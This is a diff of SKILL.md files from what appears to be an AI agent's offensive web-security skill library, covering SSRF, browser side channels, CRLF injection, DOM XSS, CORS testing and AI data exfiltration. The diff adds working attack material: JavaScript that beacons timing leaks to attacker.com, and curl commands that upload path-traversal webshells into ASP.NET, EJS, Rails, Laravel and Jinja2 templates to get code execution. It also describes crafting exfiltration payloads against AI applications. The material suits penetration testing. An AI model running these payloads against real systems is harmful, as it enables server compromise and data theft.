diff --git a/capabilities/web-security/skills/agent-browser/SKILL.md b/capabilities/web-security/skills/agent-browser/SKILL.md
index 2df1353..23f6c70 100644
--- a/capabilities/web-security/skills/agent-browser/SKILL.md
+++ b/capabilities/web-security/skills/agent-browser/SKILL.md
@@ -195,59 +195,21 @@ agent-browser click @e5
agent-browser wait --load networkidle
```
-### Authentication with Auth Vault (Recommended)
+### Authentication (see [references/authentication.md](references/authentication.md) for full details)
```bash
-# Save credentials once (encrypted with AGENT_BROWSER_ENCRYPTION_KEY)
-# Recommended: pipe password via stdin to avoid shell history exposure
+# Auth vault (recommended): credentials stored encrypted, LLM never sees password
echo "pass" | agent-browser auth save github --url https://github.com/login --username user --password-stdin
-
-# Login using saved profile (LLM never sees password)
agent-browser auth login github
-# List/show/delete profiles
-agent-browser auth list
-agent-browser auth show github
-agent-browser auth delete github
-```
-
-### Authentication with State Persistence
-
-```bash
-# Login once and save state
-agent-browser open https://app.example.com/login
-agent-browser snapshot -i
-agent-browser fill @e1 "$USERNAME"
-agent-browser fill @e2 "$PASSWORD"
-agent-browser click @e3
-agent-browser wait --url "**/dashboard"
-agent-browser state save auth.json
-
-# Reuse in future sessions
-agent-browser state load auth.json
-agent-browser open https://app.example.com/dashboard
-```
-
-### Session Persistence
-
-```bash
-# Auto-save/restore cookies and localStorage across browser restarts
+# Session persistence: auto-save/restore across restarts
agent-browser --session-name myapp open https://app.example.com/login
# ... login flow ...
-agent-browser close # State auto-saved to ~/.agent-browser/sessions/
-
-# Next time, state is auto-loaded
-agent-browser --session-name myapp open https://app.example.com/dashboard
-
-# Encrypt state at rest
-export AGENT_BROWSER_ENCRYPTION_KEY=$(openssl rand -hex 32)
-agent-browser --session-name secure open https://app.example.com
+agent-browser close # State auto-saved
-# Manage saved states
-agent-browser state list
-agent-browser state show myapp-default.json
-agent-browser state clear myapp
-agent-browser state clean --older-than 7
+# State files: manual save/load
+agent-browser state save auth.json
+agent-browser state load auth.json
```
### Data Extraction
@@ -621,4 +583,3 @@ Supported engines:
- `lightpanda` -- Lightpanda headless browser via CDP (10x faster, 10x less memory than Chrome)
Lightpanda does not support `--extension`, `--profile`, `--state`, or `--allow-file-access`. Install Lightpanda from https://lightpanda.io/docs/open-source/installation.
-
diff --git a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
index 28599ed..0b612ff 100644
--- a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
+++ b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
@@ -24,6 +24,8 @@ Chain: `attacker -> SSRF -> internal service -> outbound request -> OOB callback
Services that make outbound requests when hit via SSRF: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard, W3 Total Cache. Hit them internally, they fetch your callback URL, confirming exploitation.
+**Checkpoint:** Before attempting payloads, confirm blind SSRF with a canary: `?url=http://YOUR-OOB-SERVER/ssrf-test`. If no callback received, the SSRF may not be server-side.
+
## Fingerprinting (Blind)
| Signal | Technique |
diff --git a/capabilities/web-security/skills/browser-side-channel/SKILL.md b/capabilities/web-security/skills/browser-side-channel/SKILL.md
index 8e0ca3b..0ce1d49 100644
--- a/capabilities/web-security/skills/browser-side-channel/SKILL.md
+++ b/capabilities/web-security/skills/browser-side-channel/SKILL.md
@@ -13,69 +13,88 @@ description: Browser-based side channel attacks for cross-origin data leaks via
## Techniques
### XSS-Leak via Connection Pool Exhaustion (Chrome)
-Exploit Chrome's per-process socket pool limit to leak cross-origin redirects:
1. **Saturate** Chrome's 256-connection pool (open 255 persistent connections)
2. **Trigger** a cross-origin navigation that may redirect based on state
-3. **Measure** which host resolves next — Chrome resolves DNS in lexicographic order when pool is full
+3. **Measure** which host resolves next -- DNS timing differs under pool exhaustion
4. **Binary search** the leaked hostname character by character
-Prerequisites: Victim visits attacker page, target redirects to different hosts based on auth state.
-
-Test setup:
```javascript
// Saturate pool with 255 WebSocket connections to different hosts
for (let i = 0; i < 255; i++) {
new WebSocket(`wss://pad-${i}.attacker.com/hold`);
}
-// Trigger cross-origin fetch — redirect destination leaks via timing
-fetch('https://target.com/auth-redirect', {mode: 'no-cors'});
-// Measure: if redirect went to admin.target.com vs login.target.com
-// the DNS resolution timing differs due to pool exhaustion ordering
+// Trigger cross-origin fetch -- redirect destination leaks via timing
+const start = performance.now();
+fetch('https://target.com/auth-redirect', {mode: 'no-cors'}).then(() => {
+ const elapsed = performance.now() - start;
+ // admin.target.com vs login.target.com have different DNS timing under pool exhaustion
+ navigator.sendBeacon('https://attacker.com/log', `elapsed=${elapsed}`);
+});
```
+**Checkpoint:** If timing variance between states is <5ms, increase sample count to 50+ and average. If WebSocket connections drop, server may be closing idle sockets -- send keepalive pings via `setInterval`.
+
### Cross-Site ETag Length Oracle (Express.js)
-Exploit Express's default 16KB header limit to create a boolean oracle:
1. **Observe**: Express auto-generates ETag headers for responses
2. **Trigger**: Browser caches ETag, sends it back as `If-None-Match`
3. **Overflow**: Pad the request to approach 16KB header limit
-4. **Differentiate**: If ETag is long (large response) → 431 error. If short → 304 Not Modified.
-5. **Leak**: Response size reveals content (e.g., admin panel vs 403)
+4. **Differentiate**: Long ETag (large response) -> 431 error. Short -> 304 Not Modified.
```http
GET /api/user/profile HTTP/1.1
If-None-Match: "cached-etag-value"
X-Pad: AAAA...AAAA (pad to ~16KB minus ETag length threshold)
```
-- 431 = ETag + padding exceeded 16KB → response was large (user exists, has data)
-- 304 = ETag matched, response was small → different state
+- 431 = ETag + padding exceeded 16KB -> response was large (user exists, has data)
+- 304 = ETag matched, response was small -> different state
+
+**Checkpoint:** Send without padding first to confirm normal 200/304 behavior. Then binary search padding length: if 431 at N bytes but not N-100, ETag is between (16384-N) and (16384-N+100) bytes.
### Timing-Based State Detection
-Measure response time differences for cross-origin requests:
-```javascript
-const start = performance.now();
-const img = new Image();
-img.onload = img.onerror = () => {
- const elapsed = performance.now() - start;
- // Authenticated responses often larger/slower than 302 redirects
- if (elapsed > THRESHOLD) { /* user is logged in */ }
-};
-img.src = 'https://target.com/dashboard-asset';
+
+```html
+
```
+**Checkpoint:** Run against a known-state endpoint first to establish baseline. If stddev >30% of mean, network jitter is too high -- increase sample count or use HTTP/2 multiplexing.
+
### Cache Probing
-Detect if a user has visited a URL by measuring cache hit vs miss timing:
-- Cached resource loads in ~1-2ms
-- Network fetch takes 50ms+
-- Reveals browsing history for same-origin resources
+Cached resource loads in ~1-2ms vs network fetch at 50ms+. Reveals browsing history for same-site resources.
+
+**Checkpoint:** Clear cache and re-measure to confirm delta is reproducible. Modern browsers partition cache by top-level site -- this only works for same-site resources.
+
+## Workflow
-## Detection Checklist
1. Map target redirects that differ based on auth/role state
2. Identify response size differences between states (admin vs user vs anon)
3. Check if Express.js (ETag auto-generation) or similar framework in use
-4. Test `performance.now()` timing resolution in target browser
-5. Determine if attack requires user interaction or is fully passive
-
-## Key Insight
-These attacks don't require XSS — they exploit browser resource management (sockets, cache, headers) as an oracle. The information leaks through metadata (timing, status codes, resource limits), not content.
+4. Select technique based on available signal:
+ - Size difference -> ETag oracle
+ - Redirect difference -> connection pool exhaustion
+ - Timing difference -> timing-based detection
+5. Run PoC with >=30 samples, calculate mean/stddev
+6. If stddev > mean/3 -> increase samples or try different technique
+7. Confirm cross-origin: PoC must work from attacker origin, not same-origin
diff --git a/capabilities/web-security/skills/crlf-response-splitting/SKILL.md b/capabilities/web-security/skills/crlf-response-splitting/SKILL.md
index 948db71..f4395fe 100644
--- a/capabilities/web-security/skills/crlf-response-splitting/SKILL.md
+++ b/capabilities/web-security/skills/crlf-response-splitting/SKILL.md
@@ -59,10 +59,16 @@ If you can inject only one CRLF and not split the body, useful follow-on headers
- `Refresh: 0;url=https://attacker.example`
- cache-control mutations for poisoning
-## Indicators
-- Header reflection preserves CRLF characters
-- `%0d%0a` behaves differently from `%0a`
-- CSP blocks inline payloads but allows same-origin scripts
+## Detection
+```bash
+# Test for CRLF injection in headers
+curl -sD- "https://target.com/endpoint?param=test%0d%0aX-Injected:true" | rg "X-Injected"
+
+# Compare %0d%0a vs %0a behavior
+curl -sD- "https://target.com/endpoint?param=test%0a%0aX-Injected:true" | rg "X-Injected"
+```
+
+**Checkpoint:** If `X-Injected` appears in response headers with `%0d%0a` but not with `%0a` alone, CRLF injection is confirmed. Check CSP with `curl -sD- URL | rg -i "content-security-policy"` to determine if nested splitting is needed.
## Chain With
- `web-cache-deception-path`
diff --git a/capabilities/web-security/skills/data-exfil/SKILL.md b/capabilities/web-security/skills/data-exfil/SKILL.md
index 17594ca..44f343c 100644
--- a/capabilities/web-security/skills/data-exfil/SKILL.md
+++ b/capabilities/web-security/skills/data-exfil/SKILL.md
@@ -1,14 +1,7 @@
---
name: data-exfil
-description: |
- AI/LLM data exfiltration techniques via rendered markdown, HTML-in-markdown, tool artifacts, domain encoding, and url_safe bypasses. Use when crafting exfil payloads for AI red teaming, analyzing AI app rendering pipelines for exfil surfaces, bypassing URL filters/sanitizers, or reviewing AI-generated output for exfil risk.
-allowed-tools:
- - read
- - write
- - edit_file
- - bash
- - grep
- - glob
+description: AI/LLM data exfiltration techniques via rendered markdown, HTML-in-markdown, tool artifacts, domain encoding, and url_safe bypasses. Use when crafting exfil payloads for AI red teaming, analyzing AI app rendering pipelines for exfil surfaces, bypassing URL filters/sanitizers, or reviewing AI-generated output for exfil risk.
+allowed-tools: read, write, edit_file, bash, grep, glob
---
# AI Data Exfiltration Techniques
diff --git a/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md b/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md
index 8cb60f0..6f2a5d9 100644
--- a/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md
+++ b/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md
@@ -1,168 +1,72 @@
---
name: dom-vulnerability-detection
-description: DOM-based XSS and client-side vulnerability detection for code review and dynamic analysis. USE WHEN auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, testing postMessage handlers, checking URL validation, investigating client-side template injection (AngularJS, Vue.js, htmx), OR identifying attacker-controlled sources and dangerous sinks. Covers source tracing, sink identification, sanitization validation, browser quirks (DOM clobbering, mutation XSS), and framework-specific vulnerabilities.
+description: DOM-based XSS and client-side vulnerability detection via dynamic analysis -- trace attacker-controlled sources to dangerous sinks, audit postMessage handlers, test CSTI in Angular/Vue/htmx, and check for DOM clobbering. Use when auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, or testing postMessage handlers.
---
-# DynamicDomVulnerabilityDetection
+## Sources (attacker-controlled input)
+`location.hash`, `location.search`, `location.href`, `document.URL`, `document.referrer`, `window.name`, `postMessage event.data`, `document.cookie`, `localStorage`/`sessionStorage`
-Comprehensive framework for identifying DOM-based cross-site scripting (XSS) and related client-side vulnerabilities during code review and dynamic analysis.
+## Sinks (dangerous output)
+`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout(string)`, `new Function()`, `location.href=`, `location.assign()`, `element.src=`, `jQuery.html()`, `$.globalEval()`, `v-html`, `ng-bind-html`, `dangerouslySetInnerHTML`
-## Overview
+## Analysis workflow
-DOM-based vulnerabilities occur when JavaScript reads data from an attacker-controlled source (for example, the URL or a cross-origin message) and sends it to a sink that interprets it as HTML or JavaScript. This skill summarizes the critical concepts and patterns needed to detect and exploit these issues, based on research across multiple security resources.
+### 1. Find sources reaching sinks
+```bash
+# Search for dangerous sinks in JS files
+rg "innerHTML|outerHTML|document\.write|\.html\(" --type js --type ts -n src/
+rg "eval\(|setTimeout\(|setInterval\(|new Function\(" --type js -n src/
-## When to Use This Skill
-
-Activate this skill whenever you are asked to:
-* Review JavaScript or HTML for potential cross-site scripting vulnerabilities
-* Assess whether user-controlled data can reach dangerous DOM APIs (innerHTML, document.write, eval, etc.)
-* Audit custom safe-URL helpers or regex filters for URL or input validation
-* Investigate cross-window messaging (postMessage) logic for origin and reference checks
-* Test single-page applications or front-end frameworks (AngularJS, Vue.js, htmx, etc.) for client-side template injection (CSTI)
-
-## Step-by-Step Analysis Framework
-
-### 1. Identify Attacker-Controlled Sources
-
-Look for any of the following sources of input. These can carry malicious payloads if not properly sanitised:
-
-* **Location:** `window.location`, `location.search`, `location.hash`, and related properties. Path and fragment data may be used without encoding.
-* **Referrer:** `document.referrer` can contain untrusted data.
-* **Cookies and storage:** Values from `document.cookie`, `localStorage`, etc., may originate from another subdomain or previous XSS.
-* **Window name:** `window.name` is cross-origin writable and readable.
-* **Messages:** Data passed via `postMessage` (the `e.data` property) is arbitrary and untrusted.
-
-Use search tools (Ctrl+Shift+F in DevTools or grep) to find these sources in JavaScript files.
-
-### 2. Trace the Data Flow
-
-After locating a source, trace each assignment or transformation until you reach a sink. Keep track of variable names as they are reassigned. Use breakpoints in DevTools to inspect variable values at runtime.
-
-### 3. Locate Dangerous Sinks
-
-Common DOM sinks include:
-
-* **HTML injection:** Assignments to `.innerHTML`, `.outerHTML`, `.insertAdjacentHTML`, calls to `document.write()`, `document.open()` ... `.write()` `.close()`, or jQuery's `.html()` and `.append()`.
-* **URL redirects:** Assigning unvalidated strings to `location`, `location.href`, `location.assign()`, `window.open()`, or setting attribute values such as `element.src` or `element.href`.
-* **Code execution:** Calls to `eval()`, `Function()`, `setTimeout()` or `setInterval()` with string arguments. jQuery's `$()` selector and other library helpers may implicitly call `.innerHTML`.
-* **Template expressions:** AngularJS attributes like `ng-init` and Vue.js interpolation (`{{ ... }}`) interpret input as code.
-
-If user-controlled data flows into any of these sinks, test for XSS by injecting a harmless payload such as `
` for HTML sinks, or `alert(1)` for JavaScript sinks. Remember that `
-```
+| CWE | Name | Test Strategy |
+|-----|------|---------------|
+| CWE-639 | IDOR | Two accounts, cross-access resources |
+| CWE-862 | Missing Authorization | Access without token/session |
+| CWE-863 | Incorrect Authorization | Vertical/horizontal privilege escalation |
+| CWE-22 | Path Traversal | `../` sequences to escape directory |
-### Server-Side Request Forgery (CWE-918)
+### SSRF (CWE-918)
| Pattern | Test | Impact |
|---------|------|--------|
| URL parameter | `url=http://127.0.0.1` | Internal network access |
-| Webhook URL | Register callback to internal IP | Internal service interaction |
-| File import | Import from `file:///etc/passwd` | Local file read |
-| PDF/Image generation | Embed internal URL in content | Blind SSRF via render |
-
-**Detection signals**: Parameters named `url`, `fetch`, `proxy`, `callback`, `webhook`, `redirect`, `href`, `src` in query strings or request bodies.
-
-### Authentication/Session (OWASP A07:2021)
+| Webhook URL | Callback to internal IP | Internal service interaction |
+| PDF/Image generation | Embed internal URL | Blind SSRF via render |
-| CWE | Name | Test |
-|-----|------|------|
-| CWE-287 | Improper Authentication | Bypass login without valid credentials |
-| CWE-384 | Session Fixation | Force known session ID on victim |
-| CWE-613 | Insufficient Session Expiration | Check token lifetime, no logout invalidation |
-| CWE-798 | Hardcoded Credentials | Scan source for API keys, passwords |
-| CWE-307 | Brute Force | Unlimited login attempts without lockout |
+Detection: parameters named `url`, `fetch`, `proxy`, `callback`, `webhook`, `redirect`, `href`, `src`.
-**Detection signals**: Leaked secrets (JWT, API keys, tokens) in JS source or responses; auth-related endpoints (`/login`, `/auth`, `/token`, `/session`).
+### CORS Misconfiguration (CWE-942)
-### Cryptographic Failures (OWASP A02:2021)
-
-| CWE | Name | Signal |
-|-----|------|--------|
-| CWE-327 | Broken Crypto Algorithm | MD5, SHA1 for passwords, DES encryption |
-| CWE-328 | Reversible One-Way Hash | Weak hash without salt |
-| CWE-330 | Insufficient Randomness | Math.random() for tokens, sequential IDs |
-| CWE-311 | Missing Encryption | Sensitive data over HTTP, plaintext storage |
-
-### Business Logic
-
-| Category | Pattern | Test |
-|----------|---------|------|
-| Race Condition | Concurrent state changes | Parallel requests to same endpoint |
-| Price Manipulation | Client-side price calculation | Modify price in request body |
-| Workflow Bypass | Multi-step process | Skip steps, replay earlier step |
-| Privilege Escalation | Role-based features | Access admin features as regular user |
-
-### AI/LLM Specific (OWASP LLM Top 10)
-
-| Category | CWE Analog | Pattern |
-|----------|-----------|---------|
-| Prompt Injection | CWE-74 (injection) | User input reaches model context without sanitization |
-| Insecure Output | CWE-79 (XSS) | Model output rendered as HTML/code without sanitization |
-| Training Data Poisoning | CWE-502 (deserialization) | Malicious data in training/fine-tuning pipeline |
-| Excessive Agency | CWE-269 (privilege) | Model has unrestricted tool access |
-| System Prompt Leak | CWE-200 (info disclosure) | System instructions extractable via prompt manipulation |
-
-## Static Analysis Signal -> Vulnerability Mapping
-
-| Signal Pattern | Potential Vulnerability | Priority |
-|---|---|---|
-| `dangerouslySetInnerHTML` | DOM XSS (React) | High |
-| `innerHTML` assignment | DOM XSS (vanilla JS) | High |
-| `window.onmessage` / `addEventListener('message')` | postMessage XSS / cross-origin abuse | High |
-| `location.href` / `window.location` assignment | Open redirect / javascript: XSS | Medium |
-| `URLSearchParams` | Client-side parameter injection | Medium |
-| Hardcoded JWT | Token reuse (test if valid) | High |
-| Leaked API keys / tokens | Credential exposure | Critical |
-| `__schema` / `__type` in requests | GraphQL introspection surface | Medium |
-| API paths with numeric IDs | IDOR candidates | Medium |
-
-## Useful Grep Patterns for HTTP Traffic
+```bash
+# Test origin reflection
+curl -s -H "Origin: https://attacker.com" "https://target.com/api/user" | grep -i "access-control"
+# Test with credentials
+curl -s -H "Origin: https://attacker.com" -H "Cookie: session=xyz" \
+ "https://target.com/api/user" -v 2>&1 | grep -i "access-control"
```
-# IDOR candidates - endpoints with numeric IDs
-/[a-z]+/[0-9]+(/|$)
-# Potential file inclusion
-(file|path|dir|folder|template|page|include)=
+**Reporting standard:** Origin reflection alone is NOT sufficient. Must provide working JS PoC demonstrating credential theft or state-changing action.
-# Potential SSRF
-(url|uri|href|src|redirect|callback|proxy|fetch)=
+## Grep Patterns for HTTP Traffic
-# Auth tokens in URLs (should be in headers)
-(token|key|api_key|apikey|secret|auth|session)=
+```bash
+# IDOR candidates
+rg '/[a-z]+/[0-9]+(/|$)' http_requests/
-# Sensitive data in responses
-(password|secret|private_key|api_key|token)
+# Potential SSRF parameters
+rg '(url|uri|href|src|redirect|callback|proxy|fetch)=' http_requests/
-# Error messages
-(exception|traceback|stack trace|syntax error|SQLSTATE)
+# Auth tokens in URLs (should be in headers)
+rg '(token|key|api_key|secret|auth|session)=' http_requests/
-# Mass assignment candidates
-PATCH or PUT requests with extra fields
+# Error messages leaking info
+rg '(exception|traceback|stack.trace|syntax.error|SQLSTATE)' http_requests/
```
-## Usage
+## Reference Files
-This knowledge base is consulted during:
-1. **vuln-critic** - To validate finding plausibility and map to CWE
-2. **exploit-verifier** - To select appropriate verification procedures
-3. Testing strategy guidance based on tech stack
+- [testing-checklist.md](testing-checklist.md) -- Full testing checklist by category
+- [analysis-strategies.md](analysis-strategies.md) -- Six analysis lenses (taint, trust boundary, business logic, config audit, race conditions, cross-context)
diff --git a/capabilities/web-security/skills/write-path-to-rce/SKILL.md b/capabilities/web-security/skills/write-path-to-rce/SKILL.md
index 2c62f49..5054146 100644
--- a/capabilities/web-security/skills/write-path-to-rce/SKILL.md
+++ b/capabilities/web-security/skills/write-path-to-rce/SKILL.md
@@ -6,52 +6,102 @@ description: Escalate arbitrary file write into code execution by abusing framew
# Arbitrary File Write -> RCE via View Engine Resolution
## Pattern
-- You have arbitrary file write through path traversal, upload, report generation, or similar functionality
+- You have arbitrary file write (path traversal, upload, report generation)
- The web server blocks direct requests to executable extensions
- The framework still resolves, compiles, or loads files internally from the filesystem
-## Key Insight
-HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access to that extension is blocked.
+HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access is blocked.
-## Framework Cheatsheet
+## Workflow
-### ASP.NET MVC (Razor)
-Typical search paths include:
-- `~/Views/{controller}/{action}.cshtml`
-- `~/Views/Shared/{action}.cshtml`
+### 1. Confirm arbitrary write
+```bash
+# Write a canary file to a known location
+curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@canary.txt;filename=../../../tmp/canary.txt"
-Write a Razor payload into a reachable search path and trigger the matching controller or action.
+# Verify write
+curl -x localhost:8080 -k "https://target.com/tmp/canary.txt"
+```
-### Ruby on Rails
-Zeitwerk and wildcard routing can make controller or helper writes reachable when files land inside autoload paths such as:
-- `app/controllers/`
-- `app/models/`
-- `app/helpers/`
-- `lib/`
+**Checkpoint:** If canary file is not written, the write primitive is not confirmed. Stop here.
-### Express.js
-If the application renders attacker-writable EJS or Pug templates from `views/`, template execution becomes server-side code execution.
+### 2. Identify framework and map resolution paths
-### Django and Flask
-If the target uses Jinja2 or unsafe template rendering paths, attacker-writable templates can execute on render.
+```bash
+# Check response headers for framework hints
+curl -x localhost:8080 -k -sD- "https://target.com/" | rg -i "x-powered-by|server|x-aspnet"
-### Laravel
-Blade templates written into `resources/views/` become reachable through normal view resolution.
+# Trigger a 404 to see error page (often reveals framework + view paths)
+curl -x localhost:8080 -k "https://target.com/nonexistent_route_xyz"
+```
-### Go
-Go templates are usually more constrained. In Go applications, arbitrary write more often needs to chain into source replacement, build triggers, or unsafe helper functions rather than template execution alone.
+### 3. Write payload to searched path
-## Detection
-- Error messages disclose view search paths
-- ProcMon or `strace` shows framework file lookups during normal requests
-- Writable application paths overlap with template, view, or autoload directories
+#### ASP.NET MVC (Razor)
+```bash
+# View resolution: ~/Views/{controller}/{action}.cshtml, ~/Views/Shared/{action}.cshtml
+# Write webshell to a view path
+echo '@{ System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\inetpub\\wwwroot\\out.txt"); }' > payload.cshtml
+curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@payload.cshtml;filename=../Views/Shared/Error.cshtml"
+# Trigger: visit any URL that renders the Error view (e.g., cause a 500)
+```
-## Validation Steps
-1. Confirm arbitrary write by placing a canary file.
-2. Map the framework's resolution order.
-3. Write a payload into a searched path.
-4. Trigger the code path that resolves or renders that file.
-5. Confirm execution with a benign command, callback, or file creation.
+#### Express.js (EJS/Pug)
+```bash
+# View resolution: views/{name}.ejs
+echo '<%= process.mainModule.require("child_process").execSync("id").toString() %>' > payload.ejs
+curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@payload.ejs;filename=../views/index.ejs"
+# Trigger: visit the route that renders index view
+```
+
+#### Ruby on Rails
+```bash
+# Zeitwerk autoload paths: app/controllers/, app/models/, app/helpers/, lib/
+# Write a controller that executes on load
+echo 'system("id > /tmp/pwned.txt")' > payload.rb
+curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@payload.rb;filename=../../../app/helpers/exploit_helper.rb"
+# Trigger: any request that loads helpers (most routes)
+```
+
+#### Laravel (Blade)
+```bash
+# View resolution: resources/views/{name}.blade.php
+echo '{!! system("id") !!}' > payload.blade.php
+curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@payload.blade.php;filename=../resources/views/welcome.blade.php"
+# Trigger: visit / (default welcome route)
+```
+
+#### Django/Flask (Jinja2)
+```bash
+# Template dirs: templates/
+echo '{{ "".__class__.__mro__[1].__subclasses__() }}' > payload.html
+# Use this to enumerate classes, then find os.popen or subprocess for RCE
+```
+
+### 4. Trigger resolution and verify execution
+```bash
+# Trigger the route that renders the overwritten template
+curl -x localhost:8080 -k "https://target.com/target-route"
+
+# Verify execution via OOB callback or file creation
+curl -x localhost:8080 -k "https://target.com/out.txt"
+```
+
+**Checkpoint:** Confirm execution with a benign command (whoami, id) or OOB callback. Do not proceed with destructive payloads until execution is confirmed.
+
+## Detection Signals
+```bash
+# Error messages disclosing view search paths
+rg "ViewEngine|Could not find view|template not found" http_requests/
+
+# Framework file lookups (if you have strace/procmon access)
+strace -e trace=open,openat -p 2>&1 | grep -i "views\|templates"
+```
## Chain With
- `apache-confusion-attacks`